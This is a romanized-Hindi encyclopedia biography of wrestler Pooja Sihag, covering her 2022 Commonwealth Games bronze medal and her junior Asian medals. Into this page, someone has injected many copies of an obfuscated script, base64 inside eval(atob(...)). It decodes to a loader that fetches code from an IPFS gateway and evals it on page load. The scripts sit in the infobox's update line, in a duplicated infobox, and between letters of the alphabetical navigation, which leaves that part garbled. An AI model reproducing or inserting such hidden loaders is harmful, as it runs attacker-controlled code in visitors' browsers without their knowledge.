पूजा सिहाग

	pooja sihag
	pooja sihag\|200px\|center
poora nam	pooja sihag
janm	17 julaee, 1997
karm bhoomi	bharat
khel-kshetr	phristail kushti
prasiddhi	bharatiy pahalavan
nagarikata	bharatiy
k aaumanavelth gems	barmigham, 2022 - 76 ki.gra. varg - kaansy padak
eshiyan chaimpiyanaship	almati, 2021 - 76 ki.gra. varg - kaansy padak
eshiyan aandar-23 chaimpiyanaship	ulanabatar, 2019 - rajat padak
any janakari	pooja sihag ne jooniyar eshiyaee chaianpiyanaship 2014, 2015 aur 2017 mean kaansy aur 2016 mean rajat padak jita tha.
adyatan‎	12:10, 15 agast 2022 (IST)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

parichay

hariyana se ane vali pooja sihag ka janm haansi shahar mean ek kisan parivar mean hua. unake pahalavan banane ka sapana unake pita ne hi dekha tha. pooja sihag ne keval 13 sal ki umr mean kushti khelana shuroo kiya tha. unhoanne jooniyar eshiyaee chaianpiyanaship 2014, 2015 aur 2017 mean kaansy aur 2016 mean rajat padak jita tha. 2021 eshiyaee kushti chaianpiyanaship mean kaansy apane nam kiya.

k aaumanavelth gems, 2022

k aaumanavelth gems, 2022 ke 9vean din mahila phristail 76 ki.gra. bhar varg ke kaansy padak mukabale mean jit darj karate hue pooja sihag ne bharat ki jholi mean padak dala. unhoanne aaustreliya ki naomi di brooin ko harakar kaansy padak hasil kiya. koveantri erina resaliang ke mait bi par hue mukabale mean pooja sihag ne aaustreliyaee pahalavan ko patakani dekar ek ke bad ek lagatar 6 pvaiant apane nam kie. isake bad do aur pvaiant apane nam karate hue pahale rauand mean pooja sihag ne 8-0 se badhat banaee.

halaanki, doosare rauand mean aaustreliya ki naomi di brooin ne pooja ke oopar dabav banakar vapasi karane ka prayas kiya, lekin vo asaphal rahian. pooja sihag ne aant mean naomi ko mait ke bahar karate hue do aur pvaiant apane khate mean jo de aur mukabale ko 10-0 se jitate hue bharat ke khate mean ek aur kaansy padak jo d diya. bharatiy pahalavan pooja sihag ne din ke apane pahale mukabale mean nyoojilaiand ki mishel m aaunteg ko mait par 5-3 ke aantar se haraya tha. is jit ke sath hi pooja ne mahila phristail 76 ki.gra. bhar varg ke semiphainal mean jagah banaee thi.

pooja sihag apani lay ko barakarar nahian rakh pa rahi thian aur mahilaoan ke 76 ki.gra. semiphainal mean unhean kanada ki jastina di stasiyo ke khilaph har jhelani p di thi. kanada ke pahalavan ne pahale hi rauand mean 6 aankoan ki b di badhat hasil kar li thi. isake bad doosare haph mean vah kaphi dipheansiv rahian aur bharatiy pahalavan ko skor karane ka koee mauka n dete hue 6-0 ki badhat ke sath phainal mean apani jagah pakki ki. isase pahale hi kushti spardha mean bajarang puniya (svarn), sakshi malik (svarn), aanshu malik (rajat), dipak puniya (svarn) ne mait par apane shanadar daanv-pech lagate hue bharat ke lie padak hasil kiya tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

pooja sihag
pooja sihag\|200px\|center
poora nam	pooja sihag
janm	17 julaee, 1997
karm bhoomi	bharat
khel-kshetr	phristail kushti
prasiddhi	bharatiy pahalavan
nagarikata	bharatiy
k aaumanavelth gems	barmigham, 2022 - 76 ki.gra. varg - kaansy padak
eshiyan chaimpiyanaship	almati, 2021 - 76 ki.gra. varg - kaansy padak
eshiyan aandar-23 chaimpiyanaship	ulanabatar, 2019 - rajat padak
any janakari	pooja sihag ne jooniyar eshiyaee chaianpiyanaship 2014, 2015 aur 2017 mean kaansy aur 2016 mean rajat padak jita tha.
adyatan‎	12:10, 15 agast 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>